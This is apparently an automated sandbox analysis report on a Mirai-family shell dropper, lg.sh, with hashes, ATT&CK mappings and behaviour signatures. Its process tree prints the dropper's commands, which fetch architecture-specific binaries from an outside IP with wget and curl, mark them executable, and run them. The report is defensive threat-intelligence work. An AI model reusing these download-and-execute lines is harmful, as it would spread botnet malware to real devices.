Analysis
- max time kernel
148s - max time network
155s - platform
debian-9_armhf - resource
debian9-armhf-20240611-en - resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
11/03/2025, 08:29
Static task
static1
Behavioral task
behavioral1
Sample
lg.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
lg.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
lg.sh
Resource
debian9-mipsbe-20240611-en
General
- Target lg.sh
- Size 2KB
- Sample250311-kdmd5aytex
- SHA256 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b
- MD5 692f9c1bb6968288bf29d821a3e10076
- SHA1 f19e711e883db0ad8f0c456586a9ad466e1fa599
- SHA512 38032bacfa117dce21578047eb50a79b83f93cc21934bb84891d236ff7cb3fd05925e0c6caadcec68b27087d1b50e4fdac0273d730b40180915aa788acc3beee
- MD5 SHA1 SHA512
Malware Config
Extracted
-
mirai
-
UNSTABLE
Signatures
- Mirai family
- File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 829 chmod 678 chmod 696 chmod 774 chmod 781 chmod 805 chmod 818 chmod 758 chmod 786 chmod 791 chmod 798 chmod 812 chmod 823 chmod - Deletes itself 2 IoCs
pid Process 775 WTH 792 WTH - Executes dropped EXE 13 IoCs
ioc pid Process /tmp/WTH 679 lg.sh /tmp/WTH 698 lg.sh /tmp/WTH 759 lg.sh /tmp/WTH 775 lg.sh /tmp/WTH 782 lg.sh /tmp/WTH 787 lg.sh /tmp/WTH 792 lg.sh /tmp/WTH 799 lg.sh /tmp/WTH 807 lg.sh /tmp/WTH 813 lg.sh /tmp/WTH 819 lg.sh /tmp/WTH 824 lg.sh /tmp/WTH 830 lg.sh - Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTH File opened for modification /dev/misc/watchdog WTH File opened for modification /dev/watchdog WTH File opened for modification /dev/misc/watchdog WTH - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp WTH - Writes file to system bin folder 4 IoCs
description ioc Process File opened for modification /sbin/watchdog WTH File opened for modification /bin/watchdog WTH File opened for modification /sbin/watchdog WTH File opened for modification /bin/watchdog WTH -
resource yara_rule behavioral2/files/fstream-1.dat upx behavioral2/files/fstream-4.dat upx behavioral2/files/fstream-5.dat upx behavioral2/files/fstream-6.dat upx behavioral2/files/fstream-7.dat upx - Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself fd25qh63pp2hhqjv 775 WTH Changes the process name, possibly in an attempt to hide itself m3lhk3budjm1t7tv 792 WTH - Checks CPU configuration 1 TTPs 13 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp WTH -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/maps WTH File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/exe WTH File opened for reading /proc/self/maps WTH File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/exe WTH File opened for reading /proc/self/exe WTH File opened for reading /proc/self/exe WTH - System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 695 cat 681 wget 687 curl - Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/EdiAf.m68k wget File opened for modification /tmp/EdiAf.sh4 wget File opened for modification /tmp/WTH lg.sh File opened for modification /tmp/EdiAf.mpsl wget File opened for modification /tmp/EdiAf.arm5 wget File opened for modification /tmp/EdiAf.ppc wget File opened for modification /tmp/EdiAf.m68k curl File opened for modification /tmp/EdiAf.spc wget File opened for modification /tmp/EdiAf.spc curl File opened for modification /tmp/EdiAf.sh4 curl File opened for modification /tmp/EdiAf.mips curl File opened for modification /tmp/EdiAf.arm wget File opened for modification /tmp/EdiAf.arm curl File opened for modification /tmp/EdiAf.arm6 curl File opened for modification /tmp/EdiAf.arm7 wget File opened for modification /tmp/EdiAf.x86 wget File opened for modification /tmp/EdiAf.x86 curl File opened for modification /tmp/EdiAf.mips wget File opened for modification /tmp/EdiAf.mpsl curl File opened for modification /tmp/EdiAf.arm5 curl File opened for modification /tmp/EdiAf.i686 curl File opened for modification /tmp/EdiAf.arc curl File opened for modification /tmp/EdiAf.arm6 wget File opened for modification /tmp/EdiAf.arm7 curl File opened for modification /tmp/EdiAf.ppc curl
Processes
-
/tmp/lg.sh/tmp/lg.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:648 -
/usr/bin/wgetwget http://78.40.117.13/EdiAf.x862⤵
- Writes file to tmp directory
PID:651
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:668
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/bin/catcat EdiAf.x862⤵PID:677
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/bin/chmodchmod +x EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:678
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/tmp/WTH./WTH lg.selfrep2⤵PID:679
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:681
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:687
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/bin/catcat EdiAf.mips2⤵
- System Network Configuration Discovery
PID:695
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/bin/chmodchmod +x EdiAf.mips EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:696
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/tmp/WTH./WTH lg.selfrep2⤵PID:698
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.mpsl2⤵
- Writes file to tmp directory
PID:701
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:741
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/bin/catcat EdiAf.mpsl2⤵PID:756
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/bin/chmodchmod +x EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:758
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/tmp/WTH./WTH lg.selfrep2⤵PID:759
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm2⤵
- Writes file to tmp directory
PID:761
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:768
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/bin/catcat EdiAf.arm2⤵PID:773
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/bin/chmodchmod +x EdiAf.arm EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:774
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/tmp/WTH./WTH lg.selfrep2⤵
- Deletes itself
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
- Reads runtime system information
PID:775
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm52⤵
- Writes file to tmp directory
PID:777
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:779
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/bin/catcat EdiAf.arm52⤵PID:780
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/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:781
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/tmp/WTH./WTH lg.selfrep2⤵
- Reads runtime system information
PID:782
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm62⤵
- Writes file to tmp directory
PID:783
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:784
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/bin/catcat EdiAf.arm62⤵PID:785
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/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:786
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/tmp/WTH./WTH lg.selfrep2⤵
- Reads runtime system information
PID:787
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm72⤵
- Writes file to tmp directory
PID:788
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:789
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/bin/catcat EdiAf.arm72⤵PID:790
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/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:791
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/tmp/WTH./WTH lg.selfrep2⤵
- Deletes itself
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:792
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.ppc2⤵
- Writes file to tmp directory
PID:794
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:796
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/bin/catcat EdiAf.ppc2⤵PID:797
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/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:798
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/tmp/WTH./WTH lg.selfrep2⤵PID:799
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.m68k2⤵
- Writes file to tmp directory
PID:801
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:802
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/bin/catcat EdiAf.m68k2⤵PID:804
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/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:805
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/tmp/WTH./WTH lg.selfrep2⤵PID:807
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.spc2⤵
- Writes file to tmp directory
PID:809
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.spc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:810
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/bin/catcat EdiAf.spc2⤵PID:811
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/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:812
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/tmp/WTH./WTH lg.selfrep2⤵PID:813
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.i6862⤵PID:815
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.i6862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:816
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/bin/catcat EdiAf.i6862⤵PID:817
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/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:818
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/tmp/WTH./WTH lg.selfrep2⤵PID:819
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.sh42⤵
- Writes file to tmp directory
PID:820
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.sh42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:821
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/bin/catcat EdiAf.sh42⤵PID:822
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/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:823
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/tmp/WTH./WTH lg.selfrep2⤵PID:824
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/usr/bin/wgetwget http://78.40.117.13/EdiAf.arc2⤵PID:826
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/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:827
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/bin/catcat EdiAf.arc2⤵PID:828
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/bin/chmodchmod +x EdiAf.arc EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH2⤵
- File and Directory Permissions Modification
PID:829
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/tmp/WTH./WTH lg.selfrep2⤵PID:830
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/EdiAf.x86
- Size 30KB
- SHA256 87dd914f28847f21e680b74700b0b4b339eb8f301677b53b1dddf8ffa2f33612
- MD5 e932653d32b429c51de2046623fa71d2
- SHA1 32ecc535e6cf6e99f105835d4a7cb75ef4cb233a
- SHA512 e284ce814a09b33a108507645c88845aa478e05d7925742e09f190f4c733630429e9f9460c76b9e3b6ec17eddc3110e8283e515891bcaea4ce0307509fbe84c2
- SSDEEP 768:g5Ox64mumNhAb5fsZjJCnM1KuU54eohPK2:gEQ4mumXkfsSMs3biPt
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/WTH
- Size 33KB
- SHA256 42c2075a2803b78355f68b9d651a7bd154e5b61f62418d84a3b4d064b5c68a7d
- MD5 029a7185777b7f885a6c3807e46b7365
- SHA1 87372b0029b72446861c7b429e3ef1626c337218
- SHA512 4890cb74a283c03d790ffe4f2e5fbc06d82d5943773874c00c48171000cb21891720a57eb22e036cd2324e28b476a38f61c29f0d05d2949c2f4c8cdb971779a8
- SSDEEP 768:l4ix6rNOUWcSYTjnXvDakOLkXrr8UxhvdJgGlzDpUYsbN:XxwdXvXv2NYEAhv3VqYYN
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/WTH
- Size 35KB
- SHA256 b9f12d8c72d2a2a7263e1a7c2947e3891212b3566aae1b873212c6031e02de4d
- MD5 7327f58c0e15f6086301a81780e100dc
- SHA1 292bb04ad4df407ac687ef1df1071659708bd3bb
- SHA512 4cc238acfd72556b2453f4d2880ccc3b2f00d0899c98a6b7eeee7cb139b242b318b8483b3bc70f96ca23934719f2152712d0efb8d9a1c950a0c98eed02452911
- SSDEEP 768:mznpcZly4oow5YOlIu7B42xs+YYeXRUMo4WMr:m1OoN/Yyrl5YhXZ
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/WTH
- Size 32KB
- SHA256 cee6e1cc48f81462d1668be2c341d7cc84b24e20e1747be03ad7e296434bffe7
- MD5 addb1cd662dd870b9b7ed5273d6fa76e
- SHA1 6e12f9d5128a0de23d4b4b0dbfbefb91ff09dfc0
- SHA512 28525de6add0d53f05e3c7c1e7d84927f40aee8c24d531216b6a77aa0f0a11fddd67b7f41b9eccc9b6692579a0c0f7453145480f7f8bacdd5d7ab13ffaad2d4f
- SSDEEP 768:h2jR3BG0+z6kwlTFhzIvE77x+h6MbPzdn4Jp0JEs3UFb:huBI6LhzUE7V+Unp0C
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/WTH
- Size 21KB
- SHA256 40fe55ff37dfaa1eded6d4a0d28994f7eaa4f36c384676bf3587349390a800f0
- MD5 a117b1b367633cb07f0795bd5f0c6f8f
- SHA1 32bfac42c7134383c6381b94c0d75317fcb56d11
- SHA512 7e9e4ac7b911b44f40eb14f684bac76478e95085ac0cc393dac95fa312057e9c4f1a3508338098026bd1369179cccae91ca07092024201b3619fdc4401a25726
- SSDEEP 384:ptZpn561tBcNMThmIEJcBWTQiLQS8VWr6EtrLmGEmdGU5ECT:ptb561tTmIECWTPLQS8WWEi3U/
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/WTH
- Size 75KB
- SHA256 219f1a94474530ae2502631dabb897e1442ce2b535728f36e7eb5153ae2228ed
- MD5 642dff628df548a6c458f004fd3b5aa1
- SHA1 cfd38a2a7522ed9637978f6f2c6ba117d60a9ec7
- SHA512 dc4ae205c670da0ead108aa30eb7627fab0a11fe4c47ce2c66042f89ef0ba4f52792d8217d98852e0c471f071079bb76bc4b975e32a018e3a5eeceb98c33f851
- SSDEEP 1536:baAmkZil8IC9s/mRF2NynEX4C+op7CTKwVDz+qEoCny3/7o+el+:b/JouIC9s/mRF2NynEXx+rWw4qEoH/7z
- MD5 SHA1 SHA512 SSDEEP